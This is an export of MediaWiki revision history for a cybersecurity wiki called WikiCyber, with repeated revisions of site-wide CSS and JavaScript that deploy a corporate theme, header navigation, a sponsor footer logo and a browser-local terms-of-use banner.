.skin-vector-2022 .enterprise-hero h1{font-size:40px}
.skin-vector-2022 .enterprise-hero .hero-actions{align-items:start;flex-direction:column}
.skin-vector-2022 .hero-art{padding:20px 15px;min-height:300px}
.skin-vector-2022 .art-node{padding:15px 3px;font-size:10px}
.skin-vector-2022 .art-core{padding:18px}
.skin-vector-2022 .art-core strong{font-size:22px}
.skin-vector-2022 .art-footer{font-size:9px}
.skin-vector-2022 .art-branches{gap:8px}
.skin-vector-2022 .brand>span{font-size:25px}
.skin-vector-2022 .knowledge-strip strong{font-size:13px}
.skin-vector-2022 .enterprise-feature .terminal pre{font-size:12px;padding:22px}
}
.skin-vector-2022 .enterprise-hero-inner>div,.skin-vector-2022 .enterprise-feature-inner>div,.skin-vector-2022 .contribution-section>div{min-width:0}
.skin-vector-2022 .enterprise-hero{background-color:#101f34;background-image:linear-gradient(90deg,rgba(10,22,36,.91) 0%,rgba(10,22,36,.78) 42%,rgba(10,22,36,.42) 100%),url('/images/branding/theme-v1/hero.jpg');background-size:cover;background-position:center 48%}
.skin-vector-2022 .enterprise-hero:after{background:none}
.skin-vector-2022 .hero-art{background-color:rgba(16,31,52,.72)}
@media(max-width:850px){.skin-vector-2022 .enterprise-hero{background-position:55% center;background-image:linear-gradient(180deg,rgba(10,22,36,.87),rgba(10,22,36,.67)),url('/images/branding/theme-v1/hero.jpg')}
}

/* END WikiCyber corporate v1 */

MediaWiki:Common.js

2026-10-16T20:18:03Z

AdminUser: Deploy approved WikiCyber corporate theme

/* Any JavaScript here will be loaded for all users on every page load. */

/* The personal-menu "Sandbox" link (with icon) is now added server-side by the SandboxAccess extension.
The previous JavaScript version (Special:MyPage/sandbox via mw.util.addPortletLink) was removed to avoid a duplicate link;
restore it from this page's history if the extension is ever disabled. */

/* BEGIN WikiCyber corporate v1 */
/* WikiCyber theme enhancements. Native MediaWiki editors/permissions stay intact. */
mw.loader.using('mediawiki.util').then(function () {
$(function () {
if (!document.body.classList.contains('skin-vector-2022')) return;
var base = mw.util.getUrl('Main Page');
var terms = mw.util.getUrl('WikiCyber:Terms of Use');
var logo = document.querySelector('.mw-logo-container');
if (logo && !logo.querySelector('.wc-slogan')) {
var slogan = document.createElement('span'); slogan.className = 'wc-slogan';
slogan.textContent = 'Knowledge for a safer digital world'; logo.append(slogan);
}
function link(label, href) { var a = document.createElement('a'); a.textContent = label; a.href = href; return a; }
var header = document.querySelector('.vector-header-start');
if (header) {
var nav = document.createElement('nav'); nav.className = 'wc-header-nav'; nav.setAttribute('aria-label', 'Primary');
nav.append(link('Knowledge base', base + '#topics'), link('Resources', mw.util.getUrl('Special:AllPages')), link('Contribute', mw.util.getUrl('Help:Your first article')));
header.after(nav);
}
var icons = document.querySelector('#footer-icons');
if (icons) {
var li = icons.querySelector('#footer-shorerogerico') || document.createElement('li');
li.replaceChildren();
var sre = link('', 'https://kirillshore.com'); sre.className = 'wc-sre-logo';
var image = document.createElement('img'); image.src = '/images/branding/theme-v1/shore-roger-logo.svg'; image.alt = 'Shore-Roger Enterprises'; image.width = 124; image.height = 48;
sre.append(image); li.append(sre); icons.append(li);
var cc = icons.querySelector('#footer-copyrightico img');
if (cc && !cc.getAttribute('src')) cc.src = '/resources/assets/licenses/cc-by-sa.png';
}
// This acknowledgement is browser-local; it does not gate access or create a legal audit record.
var key = 'wikicyber-terms-revision-253', bar = document.createElement('section');
bar.className = 'wc-terms-bar'; bar.setAttribute('aria-labelledby', 'wc-terms-heading');
var copy = document.createElement('div'), heading = document.createElement('h2'), description = document.createElement('p');
heading.id = 'wc-terms-heading'; heading.textContent = 'Terms of Use & cookies';
description.append('By selecting “Accept and continue,” you agree to the ', link('Terms of Use', terms), '. Essential cookies only.');
copy.append(heading, description);
var actions = document.createElement('div'); actions.className = 'wc-terms-actions';
var accept = document.createElement('button'); accept.type = 'button'; accept.textContent = 'Accept and continue';
actions.append(link('Read the terms', terms), accept); bar.append(copy, actions); document.body.append(bar);
var reset = document.createElement('button'); reset.type = 'button'; reset.className = 'wc-terms-reset'; reset.textContent = 'Terms & cookies';
var footer = document.querySelector('#footer'); if (footer) footer.append(reset);
var originalPadding = document.body.style.paddingBottom;
function spacing() { document.body.style.paddingBottom = bar.hidden ? originalPadding : bar.offsetHeight + 16 + 'px'; }
function display(show) { bar.hidden = !show; spacing(); }
var accepted = false; try { accepted = localStorage.getItem(key) === 'accepted'; } catch (e) { /* Storage optional. */ }
display(!accepted);
new ResizeObserver(spacing).observe(bar);
accept.addEventListener('click', function () { try { localStorage.setItem(key, 'accepted'); } catch (e) { /* Dismiss for this page. */ } display(false); reset.focus({ preventScroll: true }); });
reset.addEventListener('click', function () { try { localStorage.removeItem(key); } catch (e) { /* Storage optional. */ } display(true); accept.focus({ preventScroll: true }); });
});
});

/* END WikiCyber corporate v1 */

MediaWiki:Common.css

2026-10-16T20:16:34Z

AdminUser: Deploy approved WikiCyber corporate theme

/* BEGIN WikiCyber corporate v1 */
/* WikiCyber corporate theme. Retains native Vector controls and editor behavior. */
body.skin-vector-2022{--wc-blue:#2855b2;--wc-line:var(--border-color-subtle,#dce3eb);--bg:var(--background-color-base,#fff);--surface:var(--background-color-base,#fff);--text:var(--color-base,#182638);--muted:var(--color-subtle,#546477);--line:var(--border-color-subtle,#dce3eb);--blue:#2855b2;--green:#24783a;--tint:#edf3fd;--code:#142335;font-family:Arial,Helvetica,sans-serif}
html.skin-theme-clientpref-night body.skin-vector-2022{--blue:#91b5ff;--tint:#213650}
@media(prefers-color-scheme:dark){html.skin-theme-clientpref-os body.skin-vector-2022{--blue:#91b5ff;--tint:#213650}}
.skin-vector-2022 .mw-logo-container{filter:none!important}.skin-vector-2022 .mw-logo-wordmark{font-family:Arial,Helvetica,sans-serif;font-size:28px;font-weight:750;background:linear-gradient(45deg,#2855b2 25%,#41b343 75%);background-clip:text;-webkit-background-clip:text;color:transparent;line-height:1.2}.skin-vector-2022 .wc-slogan{display:block;color:var(--muted);font-size:10px;margin-top:5px;white-space:nowrap}.skin-vector-2022 .vector-header{max-width:1440px;min-height:88px}.skin-vector-2022 .mw-logo{margin-right:20px}.skin-vector-2022 .wc-header-nav{display:flex;gap:24px;align-items:center;font-size:13px;margin-right:auto}.skin-vector-2022 .wc-header-nav a{color:var(--text)}
.skin-vector-2022 .mw-body h1,.skin-vector-2022 .mw-body h2,.skin-vector-2022 .mw-body h3{font-family:Arial,Helvetica,sans-serif;letter-spacing:-.025em}.skin-vector-2022 .mw-body h1{font-weight:500}.skin-vector-2022 .vector-body{line-height:1.8}.skin-vector-2022 .wc-home-button{display:inline-block;border-radius:4px;background:#2855b2;color:#fff!important;padding:12px 22px;font-size:14px;font-weight:bold}.skin-vector-2022 .wc-corporate .button.primary{background:#fff;color:#17385f}.skin-vector-2022 .wc-corporate .button{display:inline-flex;align-items:center;gap:24px;padding:13px 23px;border-radius:4px;font-size:14px;font-weight:bold}.skin-vector-2022 .wc-corporate .text-link{font-size:14px;font-weight:500}.skin-vector-2022 .wc-corporate .hero-actions{display:flex;align-items:center;flex-wrap:wrap}.skin-vector-2022 .wc-corporate a{color:var(--blue)}.skin-vector-2022 .wc-corporate a:focus-visible{outline:3px solid var(--blue);outline-offset:4px}
body.skin-vector-2022.page-Main_Page .mw-page-container-inner{display:block;max-width:none}body.skin-vector-2022.page-Main_Page .mw-page-container{padding:0}body.skin-vector-2022.page-Main_Page .mw-content-container{margin:0;max-width:none}body.skin-vector-2022.page-Main_Page .mw-body{padding:0;border:0}body.skin-vector-2022.page-Main_Page .mw-body-header{padding:12px 30px;margin:0}body.skin-vector-2022.page-Main_Page .vector-column-start,body.skin-vector-2022.page-Main_Page .vector-column-end{display:none}body.skin-vector-2022.page-Main_Page .vector-page-toolbar{margin:0;padding:0 30px}body.skin-vector-2022.page-Main_Page #bodyContent{padding:0}body.skin-vector-2022.page-Main_Page #contentSub,body.skin-vector-2022.page-Main_Page #contentSub2{margin:0}body.skin-vector-2022.page-Main_Page .mw-body-header h1{font-size:18px}body.skin-vector-2022.page-Main_Page .mw-footer-container{padding:0 30px}
.skin-vector-2022 .wc-corporate h1,.skin-vector-2022 .wc-corporate h2,.skin-vector-2022 .wc-corporate h3{font-family:Arial,Helvetica,sans-serif;border:0;padding:0;line-height:1.2}.skin-vector-2022 .wc-corporate .mw-heading{margin:0;border:0}.skin-vector-2022 .wc-corporate .mw-editsection{display:none}.skin-vector-2022 .wc-corporate .topic-grid{display:grid}.skin-vector-2022 .wc-corporate .section-heading{display:flex;justify-content:space-between}.skin-vector-2022 .wc-corporate .topic-card{display:flex;flex-direction:column;border:1px solid var(--line);background:var(--surface);color:var(--text)}.skin-vector-2022 .wc-corporate .topic-card>a{margin-top:auto;font-size:13px}.skin-vector-2022 .wc-corporate .topic-card h3 a{color:var(--text)}.skin-vector-2022 .wc-corporate .topic-card p{color:var(--muted)}.skin-vector-2022 .wc-corporate .blue{color:var(--blue)}.skin-vector-2022 .wc-corporate .green{color:var(--green)}.skin-vector-2022 .wc-corporate .hero-actions p,.skin-vector-2022 .wc-corporate .knowledge-strip-inner>div p{display:contents}.skin-vector-2022 .wc-corporate .terminal{background:var(--code);color:#e4eef7;overflow:hidden}.skin-vector-2022 .wc-corporate .terminal>div{border-bottom:1px solid #ffffff26;color:#b2c1cf}.skin-vector-2022 .wc-corporate .terminal pre{border:0;margin:0;color:inherit;background:transparent;overflow-x:auto}.skin-vector-2022 .wc-corporate .hero-intro{max-width:510px}.skin-vector-2022 .wc-corporate .hero-actions a{color:#fff}.skin-vector-2022 .wc-corporate .hero-actions .primary{color:#17385f}.skin-vector-2022 .wc-corporate .hero-art{color:#fff}.skin-vector-2022 .wc-diagram-brand{display:block;width:34px;height:34px;background:url('/images/branding/theme-v1/wikicyber-mark-135.svg') center/contain no-repeat}.skin-vector-2022 .wc-diagram-icon{display:block;width:24px;height:24px;margin:0 auto 10px;background:center/contain no-repeat}.skin-vector-2022 .wc-diagram-systems{background-image:url('/images/branding/theme-v1/icon-systems.svg?v=2')}.skin-vector-2022 .wc-diagram-network{background-image:url('/images/branding/theme-v1/icon-network.svg?v=2')}.skin-vector-2022 .wc-diagram-forensics{background-image:url('/images/branding/theme-v1/icon-forensics.svg?v=2')}
.skin-vector-2022 #footer-icons{display:flex;align-items:center;gap:14px;flex-wrap:wrap}.skin-vector-2022 #footer-icons img{object-fit:contain}.skin-vector-2022 .wc-sre-logo{display:inline-flex;background:#fff;border-radius:4px;padding:0 5px}.skin-vector-2022 .wc-terms-bar{position:fixed;inset:auto 0 0;z-index:110;display:flex;align-items:center;justify-content:space-between;gap:24px;background:var(--surface);color:var(--text);border-top:1px solid var(--line);box-shadow:0 -4px 24px #1020300b;padding:20px max(28px,calc((100vw - 1320px)/2));font-family:Arial,Helvetica,sans-serif}.skin-vector-2022 .wc-terms-bar h2{font-size:16px;font-weight:bold;margin:0 0 5px;padding:0;border:0}.skin-vector-2022 .wc-terms-bar p{color:var(--muted);font-size:12px;line-height:1.7;margin:0}.skin-vector-2022 .wc-terms-bar a{color:var(--blue);text-decoration:underline}.skin-vector-2022 .wc-terms-actions{display:flex;align-items:center;gap:24px;flex-shrink:0}.skin-vector-2022 .wc-terms-actions button{border:0;background:#2855b2;color:#fff;border-radius:4px;padding:12px 18px;font:700 13px Arial,Helvetica,sans-serif;cursor:pointer}.skin-vector-2022 .wc-terms-actions a{font-size:12px}.skin-vector-2022 .wc-terms-reset{background:transparent;border:0;color:var(--blue);text-decoration:underline;font:12px Arial,Helvetica,sans-serif;cursor:pointer}.skin-vector-2022 .wc-terms-bar[hidden]{display:none}
@media(max-width:1100px){.skin-vector-2022 .wc-header-nav{display:none}}
@media(max-width:700px){.skin-vector-2022 .wc-terms-bar{padding:16px 20px;flex-direction:column;align-items:stretch;gap:13px}.skin-vector-2022 .wc-terms-actions{justify-content:space-between}.skin-vector-2022 .wc-slogan{font-size:9px}.skin-vector-2022 .mw-logo-wordmark{font-size:24px}}
@media print{.skin-vector-2022 .wc-terms-bar,.skin-vector-2022 .wc-terms-reset,.skin-vector-2022 .wc-header-nav{display:none!important}.skin-vector-2022{padding-bottom:0!important}}
.skin-vector-2022 .wc-corporate .enterprise-hero h1{color:#fff}
.skin-vector-2022 .wc-corporate .hero-art p{margin:0}

.skin-vector-2022 .enterprise-hero{background:#101f34;color:#fff;position:relative;overflow:hidden}
.skin-vector-2022 .enterprise-hero:after{content:'';position:absolute;inset:0;pointer-events:none;background:radial-gradient(ellipse at 90% 80%,#237c5333,transparent 55%)}
.skin-vector-2022 .enterprise-hero-inner{max-width:1320px;margin:auto;display:grid;grid-template-columns:1.08fr 1fr;gap:60px;align-items:center;min-height:560px;padding:70px 20px;position:relative;z-index:1}
.skin-vector-2022 .enterprise-hero h1{font-size:clamp(45px,4.6vw,68px);font-weight:500;letter-spacing:-2.6px;line-height:1.07;margin:0 0 28px;max-width:650px}
.skin-vector-2022 .enterprise-hero h1 span{color:#a0d8b0}
.skin-vector-2022 .enterprise-hero .hero-intro{font-size:18px;line-height:1.7;color:#c6d3e2;max-width:510px}
.skin-vector-2022 .enterprise-hero .hero-actions{gap:26px;margin:34px 0 0}
.skin-vector-2022 .enterprise-hero .primary{background:#fff;color:#17385f}
.skin-vector-2022 .enterprise-hero .text-link{color:#fff;font-weight:500}
.skin-vector-2022 .enterprise-hero .primary:hover{background:#edf3fd}
.skin-vector-2022 .hero-art{position:relative;min-height:350px;display:grid;align-content:center;padding:35px;background-image:linear-gradient(#90b4d40c 1px,transparent 1px),linear-gradient(90deg,#90b4d40c 1px,transparent 1px);background-size:35px 35px;border:1px solid #abc9ef20;border-radius:14px}
.skin-vector-2022 .art-heading{display:flex;align-items:center;gap:12px;font-size:12px;letter-spacing:1px;color:#b8cbdf;text-transform:uppercase;padding-bottom:23px}
.skin-vector-2022 .art-heading img{width:34px;height:34px}
.skin-vector-2022 .art-core{border:1px solid #6b91c466;border-radius:7px;padding:23px;background:#172d48;box-shadow:0 12px 35px #0002}
.skin-vector-2022 .art-core .art-label{color:#9dbce4;font-size:10px;letter-spacing:1.2px}
.skin-vector-2022 .art-core strong{display:block;font-size:24px;font-weight:400;margin-top:5px}
.skin-vector-2022 .art-connector{width:1px;height:29px;background:#79a0ce;margin:auto}
.skin-vector-2022 .art-branches{display:grid;grid-template-columns:repeat(3,1fr);gap:12px;position:relative}
.skin-vector-2022 .art-branches:before{content:'';position:absolute;height:1px;background:#79a0ce;top:0;left:16.6%;right:16.6%}
.skin-vector-2022 .art-branches>div{position:relative;padding-top:22px;text-align:center}
.skin-vector-2022 .art-branches>div:before{content:'';width:1px;height:22px;background:#79a0ce;position:absolute;top:0;left:50%}
.skin-vector-2022 .art-node{border:1px solid #6b91c466;border-radius:5px;background:#14283e;padding:17px 8px;color:#fff;font-size:12px}
.skin-vector-2022 .art-node svg{display:block;width:24px;height:24px;margin:0 auto 10px;color:#92c8b0}
.skin-vector-2022 .art-footer{font-size:10px;letter-spacing:.4px;color:#9bb3ce;margin:21px 0 0}
.skin-vector-2022 .knowledge-strip{background:var(--surface);border-bottom:1px solid var(--line)}
.skin-vector-2022 .knowledge-strip-inner{max-width:1320px;margin:auto;display:flex;justify-content:space-between;align-items:center;padding:25px 20px;gap:25px}
.skin-vector-2022 .knowledge-strip strong{font-size:14px;font-weight:500}
.skin-vector-2022 .knowledge-strip-inner>div{display:flex;gap:35px;flex-wrap:wrap}
.skin-vector-2022 .knowledge-strip a{font-size:13px;color:var(--muted)}
.skin-vector-2022 .home-section{max-width:1320px;margin:auto;padding:72px 20px}
.skin-vector-2022 .home-section .section-heading{align-items:center;margin-bottom:32px;gap:50px}
.skin-vector-2022 .home-section h2{font-size:38px;font-weight:400;letter-spacing:-1.2px;line-height:1.2;margin:0;max-width:600px}
.skin-vector-2022 .section-description{font-size:15px;line-height:1.8;color:var(--muted);max-width:360px;margin:0}
.skin-vector-2022 .home-section .topic-grid{grid-template-columns:repeat(4,minmax(0,1fr));gap:18px}
.skin-vector-2022 .home-section .topic-card{border-radius:5px;padding:28px 25px;min-height:315px;transition:border-color .15s,box-shadow .15s;position:relative}
.skin-vector-2022 .home-section .topic-card:hover{transform:none;box-shadow:0 8px 24px #152d4a0a}
.skin-vector-2022 .home-section .topic-icon{background:none;width:33px;height:33px;border-radius:0;margin-bottom:30px;font-size:28px;display:block}
.skin-vector-2022 .home-section .topic-card h3{font-size:21px;font-weight:500;letter-spacing:-.5px}
.skin-vector-2022 .home-section .topic-card p{font-size:14px;line-height:1.7}
.skin-vector-2022 .home-section .card-link{font-size:13px;font-weight:500;padding-top:18px}
.skin-vector-2022 .enterprise-feature{background:var(--tint);border-top:1px solid var(--line);border-bottom:1px solid var(--line)}
.skin-vector-2022 .enterprise-feature-inner{max-width:1320px;margin:auto;padding:64px 20px;display:grid;grid-template-columns:1fr 1fr;gap:90px;align-items:center}
.skin-vector-2022 .enterprise-feature h2{font-size:39px;font-weight:400;letter-spacing:-1.2px;margin-bottom:20px}
.skin-vector-2022 .enterprise-feature p{font-size:16px;line-height:1.8;color:var(--muted);max-width:510px}
.skin-vector-2022 .enterprise-feature .text-link{display:inline-block;margin-top:12px}
.skin-vector-2022 .enterprise-feature .terminal{border-radius:7px}
.skin-vector-2022 .enterprise-feature .terminal pre{font-size:14px;padding:28px;line-height:2.1}
.skin-vector-2022 .enterprise-feature .terminal>div{padding:15px 20px}
.skin-vector-2022 .enterprise-feature .terminal>div span{font-size:11px}
.skin-vector-2022 .contribution-section{max-width:1320px;margin:auto;padding:65px 20px;display:grid;grid-template-columns:1fr 1fr;gap:90px}
.skin-vector-2022 .contribution-section h2{font-size:34px;font-weight:400;letter-spacing:-1px;max-width:450px;margin:0}
.skin-vector-2022 .contribution-section p{font-size:15px;line-height:1.8;color:var(--muted);margin-bottom:20px}
.skin-vector-2022 .home-section #search-status:empty{display:none}
.skin-vector-2022 .corporate-rule{height:4px;background:linear-gradient(90deg,#2855b2 25%,#41b343 90%)}
@media(max-width:1150px){.skin-vector-2022 .header{padding:0 25px;gap:22px}
.skin-vector-2022 .corporate-nav{gap:17px}
.skin-vector-2022 .brand{min-width:220px}
.skin-vector-2022 .brand>span{font-size:25px}
.skin-vector-2022 .brand small{font-size:9px}
.skin-vector-2022 .search{max-width:240px}
.skin-vector-2022 .layout{grid-template-columns:160px minmax(0,1fr);gap:24px;padding:0 25px}
.skin-vector-2022 .enterprise-hero-inner{gap:35px;padding:60px 30px;min-height:510px}
.skin-vector-2022 .enterprise-hero h1{font-size:53px}
.skin-vector-2022 .hero-art{padding:22px}
.skin-vector-2022 .home-section,.skin-vector-2022 .enterprise-feature-inner,.skin-vector-2022 .contribution-section{padding-left:30px;padding-right:30px}
.skin-vector-2022 .home-section .topic-grid{grid-template-columns:repeat(2,minmax(0,1fr))}
.skin-vector-2022 .home-section .topic-card{min-height:270px}
.skin-vector-2022 .knowledge-strip-inner{padding:22px 30px}
.skin-vector-2022 .enterprise-feature-inner,.skin-vector-2022 .contribution-section{gap:45px}
.skin-vector-2022 .knowledge-strip-inner>div{gap:25px}
}
@media(max-width:850px){.skin-vector-2022 .corporate-nav{display:none}
.skin-vector-2022 .enterprise-hero-inner{grid-template-columns:1fr;gap:42px;padding:52px 25px}
.skin-vector-2022 .enterprise-hero h1{font-size:54px;max-width:650px}
.skin-vector-2022 .hero-art{max-width:590px;width:100%;min-height:300px;justify-self:center}
.skin-vector-2022 .enterprise-hero .hero-intro{max-width:620px}
.skin-vector-2022 .knowledge-strip-inner{align-items:start;flex-direction:column;gap:15px}
.skin-vector-2022 .home-section .section-heading{flex-direction:column;align-items:start;gap:20px}
.skin-vector-2022 .section-description{max-width:580px}
.skin-vector-2022 .enterprise-feature-inner{grid-template-columns:1fr;gap:28px}
.skin-vector-2022 .enterprise-feature .terminal{max-width:650px}
.skin-vector-2022 .contribution-section{grid-template-columns:1fr;gap:22px}
.skin-vector-2022 .contribution-section h2{max-width:none}
body.skin-vector-2022.page-Main_Page .appearance{gap:23px}
}
@media(max-width:760px){.skin-vector-2022 .header{padding:17px 20px;height:auto;gap:14px}
.skin-vector-2022 .brand{min-width:0}
.skin-vector-2022 .search{max-width:none;background:var(--bg);margin-left:0}
.skin-vector-2022 .layout{display:block;padding:0 20px}
body.skin-vector-2022.page-Main_Page .sidebar.open{display:block;padding:20px 25px}
body.skin-vector-2022.page-Main_Page .page-toolbar{padding:0 20px;height:55px;overflow-x:auto}
.skin-vector-2022 .page-toolbar>div{gap:20px;white-space:nowrap}
.skin-vector-2022 .page-toolbar a{font-size:11px}
.skin-vector-2022 .enterprise-hero h1{font-size:46px;letter-spacing:-1.8px}
.skin-vector-2022 .enterprise-hero .hero-intro{font-size:17px}
.skin-vector-2022 .enterprise-hero .hero-actions{gap:22px}
.skin-vector-2022 .home-section{padding:50px 25px}
.skin-vector-2022 .home-section h2{font-size:32px}
.skin-vector-2022 .enterprise-feature-inner,.skin-vector-2022 .contribution-section{padding:45px 25px}
.skin-vector-2022 .enterprise-feature h2{font-size:32px}
.skin-vector-2022 .contribution-section h2{font-size:29px}
.skin-vector-2022 .home-section .topic-card{padding:25px;min-height:290px}
.skin-vector-2022 .knowledge-strip-inner{padding:22px 25px}
.skin-vector-2022 .knowledge-strip-inner>div{gap:12px 22px}
.skin-vector-2022 .hero-art{padding:24px}
.skin-vector-2022 .article-heading h1{font-size:34px}
}
@media(max-width:480px){.skin-vector-2022 .home-section .topic-grid{grid-template-columns:1fr}
.skin-vector-2022 .home-section .topic-card{min-height:245px}
.skin-vector-2022 .enterprise-hero h1{font-size:40px}
.skin-vector-2022 .enterprise-hero .hero-actions{align-items:start;flex-direction:column}
.skin-vector-2022 .hero-art{padding:20px 15px;min-height:300px}
.skin-vector-2022 .art-node{padding:15px 3px;font-size:10px}
.skin-vector-2022 .art-core{padding:18px}
.skin-vector-2022 .art-core strong{font-size:22px}
.skin-vector-2022 .art-footer{font-size:9px}
.skin-vector-2022 .art-branches{gap:8px}
.skin-vector-2022 .brand>span{font-size:25px}
.skin-vector-2022 .knowledge-strip strong{font-size:13px}
.skin-vector-2022 .enterprise-feature .terminal pre{font-size:12px;padding:22px}
}
.skin-vector-2022 .enterprise-hero-inner>div,.skin-vector-2022 .enterprise-feature-inner>div,.skin-vector-2022 .contribution-section>div{min-width:0}
.skin-vector-2022 .enterprise-hero{background-color:#101f34;background-image:linear-gradient(90deg,rgba(10,22,36,.91) 0%,rgba(10,22,36,.78) 42%,rgba(10,22,36,.42) 100%),url('/images/branding/theme-v1/hero.jpg');background-size:cover;background-position:center 48%}
.skin-vector-2022 .enterprise-hero:after{background:none}
.skin-vector-2022 .hero-art{background-color:rgba(16,31,52,.72)}
@media(max-width:850px){.skin-vector-2022 .enterprise-hero{background-position:55% center;background-image:linear-gradient(180deg,rgba(10,22,36,.87),rgba(10,22,36,.67)),url('/images/branding/theme-v1/hero.jpg')}
}

/* END WikiCyber corporate v1 */

MediaWiki:Common.js

2026-10-16T20:15:16Z

AdminUser: Deploy approved WikiCyber corporate theme

/* Any JavaScript here will be loaded for all users on every page load. */

/* The personal-menu "Sandbox" link (with icon) is now added server-side by the SandboxAccess extension.
The previous JavaScript version (Special:MyPage/sandbox via mw.util.addPortletLink) was removed to avoid a duplicate link;
restore it from this page's history if the extension is ever disabled. */

/* BEGIN WikiCyber corporate v1 */
/* WikiCyber theme enhancements. Native MediaWiki editors/permissions stay intact. */
mw.loader.using('mediawiki.util').then(function () {
$(function () {
if (!document.body.classList.contains('skin-vector-2022')) return;
var base = mw.util.getUrl('Main Page');
var terms = mw.util.getUrl('WikiCyber:Terms of Use');
var logo = document.querySelector('.mw-logo-container');
if (logo && !logo.querySelector('.wc-slogan')) {
var slogan = document.createElement('span'); slogan.className = 'wc-slogan';
slogan.textContent = 'Knowledge for a safer digital world'; logo.append(slogan);
}
function link(label, href) { var a = document.createElement('a'); a.textContent = label; a.href = href; return a; }
var header = document.querySelector('.vector-header-start');
if (header) {
var nav = document.createElement('nav'); nav.className = 'wc-header-nav'; nav.setAttribute('aria-label', 'Primary');
nav.append(link('Knowledge base', base + '#topics'), link('Resources', mw.util.getUrl('Special:AllPages')), link('Contribute', mw.util.getUrl('Help:Your first article')));
header.after(nav);
}
var icons = document.querySelector('#footer-icons');
if (icons) {
var li = document.createElement('li');
var sre = link('', 'https://kirillshore.com'); sre.className = 'wc-sre-logo';
var image = document.createElement('img'); image.src = '/images/branding/theme-v1/shore-roger-logo.svg'; image.alt = 'Shore-Roger Enterprises'; image.width = 124; image.height = 48;
sre.append(image); li.append(sre); icons.append(li);
}
// This acknowledgement is browser-local; it does not gate access or create a legal audit record.
var key = 'wikicyber-terms-revision-253', bar = document.createElement('section');
bar.className = 'wc-terms-bar'; bar.setAttribute('aria-labelledby', 'wc-terms-heading');
var copy = document.createElement('div'), heading = document.createElement('h2'), description = document.createElement('p');
heading.id = 'wc-terms-heading'; heading.textContent = 'Terms of Use & cookies';
description.append('By selecting “Accept and continue,” you agree to the ', link('Terms of Use', terms), '. Essential cookies only.');
copy.append(heading, description);
var actions = document.createElement('div'); actions.className = 'wc-terms-actions';
var accept = document.createElement('button'); accept.type = 'button'; accept.textContent = 'Accept and continue';
actions.append(link('Read the terms', terms), accept); bar.append(copy, actions); document.body.append(bar);
var reset = document.createElement('button'); reset.type = 'button'; reset.className = 'wc-terms-reset'; reset.textContent = 'Terms & cookies';
var footer = document.querySelector('#footer'); if (footer) footer.append(reset);
var originalPadding = document.body.style.paddingBottom;
function spacing() { document.body.style.paddingBottom = bar.hidden ? originalPadding : bar.offsetHeight + 16 + 'px'; }
function display(show) { bar.hidden = !show; spacing(); }
var accepted = false; try { accepted = localStorage.getItem(key) === 'accepted'; } catch (e) { /* Storage optional. */ }
display(!accepted);
new ResizeObserver(spacing).observe(bar);
accept.addEventListener('click', function () { try { localStorage.setItem(key, 'accepted'); } catch (e) { /* Dismiss for this page. */ } display(false); reset.focus({ preventScroll: true }); });
reset.addEventListener('click', function () { try { localStorage.removeItem(key); } catch (e) { /* Storage optional. */ } display(true); accept.focus({ preventScroll: true }); });
});
});

/* END WikiCyber corporate v1 */

Main Page

2026-10-16T20:15:16Z

AdminUser: Deploy approved WikiCyber corporate theme

MediaWiki:Common.css

2026-10-16T20:15:15Z

AdminUser: Deploy approved WikiCyber corporate theme

/* BEGIN WikiCyber corporate v1 */
/* WikiCyber corporate theme. Retains native Vector controls and editor behavior. */
body.skin-vector-2022{--wc-blue:#2855b2;--wc-line:var(--border-color-subtle,#dce3eb);--bg:var(--background-color-base,#fff);--surface:var(--background-color-base,#fff);--text:var(--color-base,#182638);--muted:var(--color-subtle,#546477);--line:var(--border-color-subtle,#dce3eb);--blue:#2855b2;--green:#24783a;--tint:#edf3fd;--code:#142335;font-family:Arial,Helvetica,sans-serif}
html.skin-theme-clientpref-night body.skin-vector-2022{--blue:#91b5ff;--tint:#213650}
@media(prefers-color-scheme:dark){html.skin-theme-clientpref-os body.skin-vector-2022{--blue:#91b5ff;--tint:#213650}}
.skin-vector-2022 .mw-logo-container{filter:none!important}.skin-vector-2022 .mw-logo-wordmark{font-family:Arial,Helvetica,sans-serif;font-size:28px;font-weight:750;background:linear-gradient(45deg,#2855b2 25%,#41b343 75%);background-clip:text;-webkit-background-clip:text;color:transparent;line-height:1.2}.skin-vector-2022 .wc-slogan{display:block;color:var(--muted);font-size:10px;margin-top:5px;white-space:nowrap}.skin-vector-2022 .vector-header{max-width:1440px;min-height:88px}.skin-vector-2022 .mw-logo{margin-right:20px}.skin-vector-2022 .wc-header-nav{display:flex;gap:24px;align-items:center;font-size:13px;margin-right:auto}.skin-vector-2022 .wc-header-nav a{color:var(--text)}
.skin-vector-2022 .mw-body h1,.skin-vector-2022 .mw-body h2,.skin-vector-2022 .mw-body h3{font-family:Arial,Helvetica,sans-serif;letter-spacing:-.025em}.skin-vector-2022 .mw-body h1{font-weight:500}.skin-vector-2022 .vector-body{line-height:1.8}.skin-vector-2022 .wc-home-button{display:inline-block;border-radius:4px;background:#2855b2;color:#fff!important;padding:12px 22px;font-size:14px;font-weight:bold}.skin-vector-2022 .wc-corporate .button.primary{background:#fff;color:#17385f}.skin-vector-2022 .wc-corporate .button{display:inline-flex;align-items:center;gap:24px;padding:13px 23px;border-radius:4px;font-size:14px;font-weight:bold}.skin-vector-2022 .wc-corporate .text-link{font-size:14px;font-weight:500}.skin-vector-2022 .wc-corporate .hero-actions{display:flex;align-items:center;flex-wrap:wrap}.skin-vector-2022 .wc-corporate a{color:var(--blue)}.skin-vector-2022 .wc-corporate a:focus-visible{outline:3px solid var(--blue);outline-offset:4px}
body.skin-vector-2022.page-Main_Page .mw-page-container-inner{display:block;max-width:none}body.skin-vector-2022.page-Main_Page .mw-page-container{padding:0}body.skin-vector-2022.page-Main_Page .mw-content-container{margin:0;max-width:none}body.skin-vector-2022.page-Main_Page .mw-body{padding:0;border:0}body.skin-vector-2022.page-Main_Page .mw-body-header{padding:12px 30px;margin:0}body.skin-vector-2022.page-Main_Page .vector-column-start,body.skin-vector-2022.page-Main_Page .vector-column-end{display:none}body.skin-vector-2022.page-Main_Page .vector-page-toolbar{margin:0;padding:0 30px}body.skin-vector-2022.page-Main_Page #bodyContent{padding:0}body.skin-vector-2022.page-Main_Page #contentSub,body.skin-vector-2022.page-Main_Page #contentSub2{margin:0}body.skin-vector-2022.page-Main_Page .mw-body-header h1{font-size:18px}body.skin-vector-2022.page-Main_Page .mw-footer-container{padding:0 30px}
